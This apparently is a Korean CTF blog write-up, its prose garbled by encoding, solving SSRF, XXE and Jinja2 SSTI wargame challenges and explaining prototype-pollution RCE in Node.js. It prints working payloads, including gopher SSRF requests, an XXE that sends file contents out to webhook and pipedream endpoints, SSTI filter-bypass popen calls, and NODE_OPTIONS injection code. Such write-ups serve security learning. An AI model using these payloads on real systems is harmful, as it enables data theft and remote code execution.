Wargame

MiniCTF_SSRF / XXE /SSTI

๋‚จ๋ฐ”์˜ค 2023. 3. 17. 23:07

MiniCTF_SSRF 1๋ฒˆ


์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด flag.txt์— ์กด์žฌ → ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ file ์ฝ๊ธฐ ๋ฐฉ๋ฒ•

file://flag.txt

MiniCTF_SSRF 2๋ฒˆ


์†Œ์Šค์ฝ”๋“œ์— flag๋Š” admin.php์— ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ๊ณผ preg_match๋ฅผ ํ†ตํ•ด์„œ ์–ด๋–ค ํ˜•ํƒœ์˜ ๊ฐ’์„ ์ž…๋ ฅํ•ด์•ผ๋˜๋Š”์ง€ ํžŒํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

http://localhost/ssrf2/admin.php

if (isset($_GET['url'])) {
    $result = 'Wrong URL.';
    if (preg_match("/^https?:\\/\\/.*/is", $_GET['url'])) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET['url']);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
            $result = curl_exec($ch);
            curl_close($ch);

MiniCTF_SSRF 3๋ฒˆ


http://127.0.0.1/ssrf3/admin.php ์— flag ์œ„์น˜

gopher ์‚ฌ์šฉํ•ด์„œ ํ•ด๊ฒฐ

POST /ssrf3/admin.php HTTP/1.1

Host: 127.0.0.1

ADMIN: admin

Cookie: admin=admin;

Content-Type:

Content-Length:

Connection:close

admin=admin

html ํ˜•์‹์œผ๋กœ ์•„๋ž˜์™€ ๊ฐ™์ด url๋กœ ๋ณด๋ƒˆ๋‹ค.

\r\n : %0d%0a

‘ ‘ : %20

gopher://localhost:80/_POST%20/ssrf3/admin.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aADMIN:%20admin%0d%0aCookie:%20admin=admin;%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2011%0d%0aConnection:%20close%0d%0a%0d%0aadmin=admin

MiniCTF_SSRF 4๋ฒˆ


SSRF ์ทจ์•ฝ์ ์€ CSRF์™€ ์œ ์‚ฌํ•œ ํ˜•ํƒœ์ด์ง€๋งŒ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์•„๋‹Œ ์„œ๋ฒ„์— ์ง์ ‘ ์š”์ฒญ์„ ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์„œ๋ฒ„ ์ž์ฒด์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ ‘๊ทผํ•˜์—ฌ ๋‚ด์šฉ์„ ํƒˆ์ทจํ•˜๊ฒŒ ๋œ๋‹ค.

3๋ฒˆ ๋ฌธ์ œ๋ฅผ gopher๋ฅผ ์ด์šฉํ•ด์„œ ํ’€์—ˆ๊ธฐ ๋•Œ๋ฌธ์— Gopher protocol์„ ์ด์šฉํ•ด์„œ ํ•ด๊ฒฐํ•˜์˜€๋‹ค.

์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด $conn = mysqli_connect('localhost','ssrf4','', 'ssrf4'); ๋ผ๊ณ  ํžŒํŠธ๊ฐ€ ๋‚˜์™€์žˆ์—ˆ๋‹ค.

mysqli_connect([ip],[id],[db],[port]); ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ณ ํผ ํ”„๋กœํ† ์ฝœ์—์„œ

username์„ ssrf4๋กœ ์ž…๋ ฅํ•˜๊ณ 

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;

์„ ์ž…๋ ฅํ•˜์˜€๋”๋‹ˆ ํ…Œ์ด๋ธ”์ค‘์— flag๊ฐ€ ์žˆ๋Š” ๊ฒƒ์ด ํ™•์ธ๋˜์—ˆ๋‹ค.

  • table
  • J 5.7.318RA%d%fp๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ<|-YDrt#,mysql_native_passwordHdefinformation_schemaTABLESTABLES TABLE_NAME TABLE_NAME!๏ฟฝ๏ฟฝCHARACTER_SETS COLLATIONS&%COLLATION_CHARACTER_SET_APPLICABILITYCOLUMNSCOLUMN_PRIVILEGESENGINES EVENTS FILES GLOBAL_STATUSGLOBAL_VARIABLES KEY_COLUMN_USAGEOPTIMIZER_TRACE PARAMETERS PARTITIONSPLUGINSPROCESSLIST PROFILINGREFERENTIAL_CONSTRAINTS ROUTINES SCHEMATASCHEMA_PRIVILEGESSESSION_STATUSSESSION_VARIABLES STATISTICSTABLESTABLESPACESTABLE_CONSTRAINTSTABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES!VIEWS "INNODB_LOCKS# INNODB_TRX$INNODB_SYS_DATAFILES%INNODB_FT_CONFIG&INNODB_SYS_VIRTUAL' INNODB_CMP(INNODB_FT_BEING_DELETED)INNODB_CMP_RESET*INNODB_CMP_PER_INDEX+INNODB_CMPMEM_RESET,INNODB_FT_DELETED-INNODB_BUFFER_PAGE_LRU.INNODB_LOCK_WAITS/INNODB_TEMP_TABLE_INFO0INNODB_SYS_INDEXES1INNODB_SYS_TABLES2INNODB_SYS_FIELDS3INNODB_CMP_PER_INDEX_RESET4INNODB_BUFFER_PAGE5INNODB_FT_DEFAULT_STOPWORD6INNODB_FT_INDEX_TABLE7INNODB_FT_INDEX_CACHE8INNODB_SYS_TABLESPACES9INNODB_METRICS:INNODB_SYS_FOREIGN_COLS; INNODB_CMPMEM<INNODB_BUFFER_POOL_STATS=INNODB_SYS_COLUMNS>INNODB_SYS_FOREIGN?INNODB_SYS_TABLESTATS@flagA๏ฟฝ”’

ํ…Œ์ด๋ธ” ์ด๋ฆ„์„ ํ™•์ธํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์—

SELECT * from flag ๋ฅผ ํ•˜์˜€๋Š”๋ฐ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค์ง€ ์•Š์•„ db๋ช…๊นŒ์ง€ ๋ถ™์—ฌ์„œ ์ž…๋ ฅํ•˜์˜€๋”๋‹ˆ flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

**SELECT * form ssrf4.flag**

MiniCTF_XXE 1๋ฒˆ


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">]>
<userInfo>
  <email>John.Smith@gmail.com</email>
  <firstName>John</firstName>
  <lastName>&xxe;</lastName>
 </userInfo>

ENTITY ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์„ ์–ธํ•˜๊ณ  ์„ ์–ธํ•œ xxe ์—”ํ‹ฐํ‹ฐ๋ฅผ ์ฐธ์กฐํ•˜๋ฉด SYSTEM ํ‚ค์›Œ๋“œ๋กœ

http://๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์™ธ๋ถ€ ๋ฆฌ์†Œ์Šค๋ฅผ ์ฐธ์กฐํ•ด์„œ ๋‚˜์˜จ ๊ฐ’์„ ๋””์ฝ”๋”ฉํ•˜์—ฌ flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

MiniCTF_XXE 2๋ฒˆ


1๋ฒˆ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์„ ์‹คํ–‰ํ•ด๋ณด์•˜๋”๋‹ˆ ์–ด๋–ค php๋ฅผ ์—ด์–ด์•ผ ํ•˜๋Š”์ง€ ์ฃผ์„์œผ๋กœ ํžŒํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

flag.php → localhost ์—ฌ์•ผ์ง€ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•˜๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "<http://localhost:80/xxe2/flag.php>">]>
<userInfo>
  <email>John.Smith@gmail.com</email>
  <firstName>John</firstName>
  <lastName>&xxe;</lastName>
 </userInfo>

MiniCTF_XXE 3๋ฒˆ


XXE ์ทจ์•ฝ์ ์€ ์ €์žฅ๋œ XML ๋ฐ์ดํ„ฐ๋ฅผ ๋ถˆ๋Ÿฌ์˜ฌ ๋•Œ XML Parser์—์„œ ์™ธ๋ถ€ ์—”ํ‹ฐํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ตฌ๋ถ„์ด ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ๋‚ด์šฉ์„ ์ฝ๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ์ด๋‹ค.

3๋ฒˆ ๋ฌธ์ œ๋Š” 2๋ฒˆ๊ณผ ๋‹ฌ๋ฆฌ ํŽ˜์ด๋กœ๋“œ์˜ ๊ฒฐ๊ณผ๊ฐ’์ด ๋‚˜์˜ค์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— Blind XXE์ธ ๊ฒƒ์„ ์ƒ๊ฐํ•˜์—ฌ ๊ฒฐ๊ณผ๊ฐ’์„ ๋‚˜์˜ ์„œ๋ฒ„์— ๋ณด๋‚ด๋„๋ก ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜์˜€๋‹ค.

๋ฉ˜ํ† ๋‹˜ ๊ฐ•์˜์ž๋ฃŒ์— ์žˆ๋Š” ๋ถ€๋ถ„์„ ์ฐธ๊ณ ํ•˜์—ฌ


">
  https://webhook.site/6adfd1d1-864c-4912-adeb-053aac308544/xxe.dtd>">
  %dtd;
]>

  John.Smith@gmail.com
  John
  &exfil 
 
https://eoe4b2t4ui5w640.m.pipedream.net>](<https://eoe4b2t4ui5w640.m.pipedream.net/>)/data?%xxe;'>">
%eval;

์šฐ์„ , ENTITY xxe์— ๋‚ด๊ฐ€ ๋ณด๊ณ  ์‹ถ์€ flag.php ๊ฒฝ๋กœ๋ฅผ ์ €์žฅํ•˜์˜€๊ณ  oob์— exploit.xml ๋‚ด์šฉ์„ ๊ฐ€์ ธ์™€์„œ ์ €์žฅํ•˜์˜€๋‹ค. ๊ทธ๋ฆฌ๊ณ  exploit.xml์—์„œ ๋‚˜์˜ ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ENTITY eval์„ ๋งŒ๋“  ํ›„์— ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ xxe๋ฅผ ๋„˜๊ฒจ์„œ ์ €์žฅํ•œ ๋‚ด์šฉ์œผ๋กœ ๊ฐ€์ ธ์™€ ๋‚˜์˜ ์„œ๋ฒ„์—์„œ ๋„๋ฉ”์ธ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ํŒŒ์ผ ๋‚ด์šฉ์ผ ๋ถ™์–ด์ ธ์„œ ๋ณด๋‚ด์ง„ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

MiniCTF_SSTI 1๋ฒˆ


Jinja2 ํ…œํ”Œ๋ฆฟ ๋ฌธ๋ฒ•์—์„œ open(’ ‘,’rb’).read()๊ฐ€ ๋ถˆ๊ฐ€ํ•˜๊ณ ,

ํŒŒ์ด์ฌ์€ ๋‹ค์ค‘์ƒ์†์„ ์ง€์›ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์ด์šฉํ•˜์—ฌ ํ•ด๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์ด์—ˆ๋‹ค.

MRO(method resolution order)๋ฅผ ์ด์šฉํ•ด

{{“.__class__.__mro__[1].__subclasses__()}} ๋กœ ํด๋ž˜์Šค๋“ค์„ ํ™•์ธํ•˜๊ณ 

๊ทธ์ค‘ ์–ด๋–ค ๊ฒƒ์ด open์„ ํ•˜๋Š” ํด๋ž˜์Šค์ธ์ง€ ์ฐพ์•„๋‚ด์–ด flag๋ฅผ ์ฐพ์•„๋‚ด์—ˆ๋‹ค.

[http://wuq.kr:8086/?user=111{{ ''.__class__.__mro__[1].__subclasses__()[408]}](<http://wuq.kr:8086/?user=111%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__()%5B408%5D%7D>)}

MiniCTF_SSTI 2๋ฒˆ


ํ•ด๋‹น ๋ฌธ์ œ๋Š” ์‚ฌ์šฉ์ž์˜ ์ธํ’‹์„ ํ…œํ”Œ๋ฆฟ ์ฝ”๋“œ๋กœ ํ•ด์„ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์œผ๋กœ Jinja2 ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋กœ ์ด์šฉํ–ˆ๋‹ค.

์šฐ์„  class์ค‘์—์„œ popen ์„ ์ฐพ๋Š” ๊ฒƒ์„ ์‹œ๋„ํ•ด๋ณด์•˜๋‹ค.

๋˜‘๊ฐ™์ด 408๋ฒˆ์— ์žˆ์—ˆ์ง€๋งŒ ํ•„ํ„ฐ๋ง์ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—

[http://wuq.kr:8086/?user=111{{ ''.__class__.__mro__[1].__subclasses__()[408]}](<http://wuq.kr:8086/?user=111%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__()%5B408%5D%7D>)} ์ธ ๊ฒฝ์šฐ์— ์•„๋ฌด๊ฒƒ๋„ ์ถœ๋ ฅ๋˜์ง€ ์•Š์•˜๋‹ค. ์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ

{{%20%27%27[%27__cl%27+%27ass__%27][%27__m%27+%27ro__%27][1][%27__subcla%27+%27sses__%27](notion://www.notion.so/Exploit-5942b3bb4c584997bbc3ece3571a7210)[408]%20}} ์œผ๋กœ popen์„ ์‹คํ–‰์‹œํ‚ค๊ณ  ls-al ๋ช…๋ น์„ ์‹คํ–‰์‹œ์ผœ๋ณด์•˜๋”๋‹ˆ flag๊ฐ€ ์žˆ๋Š” ๋ถ€๋ถ„์€ ์ฝ๊ธฐ ๊ถŒํ•œ์€ ์—†๊ณ  ์‹คํ–‰๊ถŒํ•œ๋งŒ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

[**<http://wuq.kr:8086/?user=111>{{ ''['__cl'+'ass__']['__m'+'ro__'][1]['__subcla'+'sses__']()[408]('./ssti2_flag',shell=True,stdout=-1).communicate()}](<http://wuq.kr:8086/?user=111%7B%7B%20%27%27%5B%27__cl%27+%27ass__%27%5D%5B%27__m%27+%27ro__%27%5D%5B1%5D%5B%27__subcla%27+%27sses__%27%5D()%5B408%5D(%27./ssti2_flag%27,shell=True,stdout=-1).communicate()%7D>)}**

Prototype Pollution


Prototype Pollution์€ ****์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฒ˜๋ฆฌ ๋กœ์ง์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๋ฌธ์ œ๋กœ prototype์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์„ ๋งํ•œ๋‹ค.

์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ ์ž๋ฃŒํ˜•์€ prototype ์†์„ฑ์„ ํฌํ•จํ•˜๋Š”๋ฐ ํŠน์ • ๊ฐ์ฒด/ํด๋ž˜์Šค์˜ prototype ๋ฐ์ดํ„ฐ ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ์ดํ›„ ๊ทธ ๊ฐ์ฒด์˜ ์ƒ์„ฑ์ž๋ฅผ ํ†ตํ•ด ์ƒˆ๋กœ์šด ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ์— ์ฐธ์กฐํ•˜๋Š” prototype ๊ฐ์ฒด์˜ ์†์„ฑ์ด ๋ณ€๊ฒฝ๋˜๊ฒŒ ๋œ๋‹ค.

var inst = new Object();
inst.__proto__.isAdmin = true;
console.log(isAdmin); // true

์œ„์˜ ์ฝ”๋“œ์™€ ๊ฐ™์ด ํŠน์ • ๊ฐ์ฒด ํด๋ž˜์Šค์˜ ์ธ์Šคํ„ด์Šค๋ฅผ proto ์†์„ฑ์„ ์ถ”๊ฐ€ํ•ด์ฃผ๋ฉด ๋‹ค์Œ ์ƒ์„ฑ๋  ์ธ์Šคํ„ด์Šค์˜ ์†์„ฑ๊นŒ์ง€ ์˜ํ–ฅ์ด ๊ฐ€๊ฒŒ๋œ๋‹ค. ๋˜ํ•œ, DOM๊ณผ Nodejs์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ „์—ญ ๋ณ€์ˆ˜ ๋˜ํ•œ ๊ฐ์ฒด๋ฅผ ์ƒ์†ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ๋ณ€์กฐ์‹œํ‚ฌ ๊ฒฝ์šฐ์— ๊ฐ’์ด ์ž„์˜๋กœ ์กฐ์ž‘๋˜๋Š” ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

Prototype Pollution์„ ์ด์šฉํ•˜์—ฌ RCE๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ •๋ฆฌํ•ด๋ณด์•˜๋‹ค.

<aside> ๐Ÿ’ก Code Execution

</aside>

Object.prototype.command = 'console.log("executed!")';
if (command) {
	eval(command);
}

์ ‘๊ทผํ•˜๊ธฐ ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•์œผ๋กœ, ๊ฒ€์ฆ ๊ณผ์ • ์—†์ด eval ํ•จ์ˆ˜์— ํŠน์ • ๋ณ€์ˆ˜๋ฅผ ์ธ์ž๋กœ ํ•˜์—ฌ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์‰ฝ๊ฒŒ RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.

<aside> ๐Ÿ’ก Process spawning

</aside>

for (const key in env) {
    const value = env[key];
    if (value !== undefined) {
      envPairs.push(`${key}=${value}`);
    }
  }

Nodejs์— ๋‚ด์žฅ๋˜์–ด ์žˆ๋Š” ๋ชจ๋“ˆ๋กœ, ์„œ๋ธŒ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ์— ์‚ฌ์šฉ๋˜๋Š” child_process ๋ชจ๋“ˆ์€

์ž์‹ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ, ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๋ณต์‚ฌํ•˜๋Š” ๊ณผ์ •์„ ๊ฑฐ์น˜๊ฒŒ ๋˜๋Š”๋ฐ ๋ณต์‚ฌ ๊ณผ์ •์—์„œ for in ๋ฐ˜๋ณต๋ฌธ์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ์ฒด ๋‚ด๋ถ€์— ์ง์ ‘์ ์œผ๋กœ ์ •์˜๋˜์ง€ ์•Š๋”๋ผ๋„ process.env์˜ ํ”„๋กœํ† ํƒ€์ž…์ธ Object.prototype ๊ฐ์ฒด๊ฐ€ ์˜ค์—ผ๋œ๋‹ค๋ฉด ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ž„์˜๋กœ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

NODE_OPTIONS='--require /proc/self/environ' node app.js
// same as
node --require /proc/self/environ app.js

Nodejs ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰๋  ๋•Œ, ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ด์ „์— ์“ฐ์ด๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜์ค‘์˜ ํ•˜๋‚˜๋กœ NODE_OPTIONS ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ ์กด์žฌํ•˜๋Š”๋ฐ ๋ณธ ๋ณ€์ˆ˜์— --require [argv] ์™€ ๊ฐ™์€ ์˜ต์…˜์„ ์ถ”๊ฐ€ํ•˜๋ฉด ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์— --require [argv] ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์‹คํ–‰ํ•œ ๊ฒƒ๊ณผ ๊ฐ™์€ ํšจ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
  
// pollute
Object.prototype.env = {
	NODE_DEBUG : 'require("child_process").execSync("mkdir executed")//',
	NODE_OPTIONS : '-r /proc/self/environ'
};

// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node  blank').toString());

์œ„์˜ ์˜ˆ์‹œ๋Š” child_process์™€ NODE_OPTIONS๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ์ด๋‹ค.

ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จ์‹œํ‚ค๊ณ  ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์ €์žฅ๋˜๋Š” /proc/self/environ ํŒŒ์ผ์„ ์˜ต์…˜์œผ๋กœ ์ง€์ •ํ•˜์—ฌ RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋‹ค.

/proc/sef/environ ์„ ์ด์šฉํ•˜๋ฉด ๋ฆฌ๋ˆ…์Šค ์„œ๋ฒ„์—๋งŒ ์ž‘๋™ํ•œ๋‹ค๋Š” ๋‹จ์ ์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์—

--inspect-brk ์˜ต์…˜์„ ์ด์šฉํ•˜๋ฉด ์œˆ๋„์šฐ์—์„œ๋„ ์ด์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์œ„์™€ ๊ฐ™์€ ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค๋Š” ์˜ต์…˜์— ์„ค์ •๋œ ํฌํŠธ๋กœ ๋””๋ฒ„๊ฑฐ๊ฐ€ ์—ฐ๊ฒฐ๋  ๋•Œ๊นŒ์ง€ ๋Œ€๊ธฐํ•˜๋ฉฐ ๋ฐฑ๋„์–ด์™€ ๊ฐ™์€ ์—ญํ• ์„ ํ•˜๊ฒŒ ๋œ๋‹ค.

const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
  
// pollute
Object.prototype.env = {
    NODE_OPTIONS : '--inspect-brk=0.0.0.0:1234'
};

// method 1
fork('blank');
// method 2
exec('node blank');
// method 3
execSync('node blank');
// method 4
spawn('node', ['blank']);
// method 5
spawnSync('node', ['blank']);

๋””๋ฒ„๊น… ํฌํŠธ๊ฐ€ ์—ด๋ฆฐ๋‹ค๋ฉด node inspect host:port ๋กœ ์„œ๋ฒ„์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค.

์ดํ›„์— ์œ„์™€ ๊ฐ™์€ exec , execSync ๊ณผ ๊ฐ™์€ ์ปค๋งจ๋“œ๋ฅผ ํ™œ์šฉํ•˜์—ฌ RCE๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋œ๋‹ค.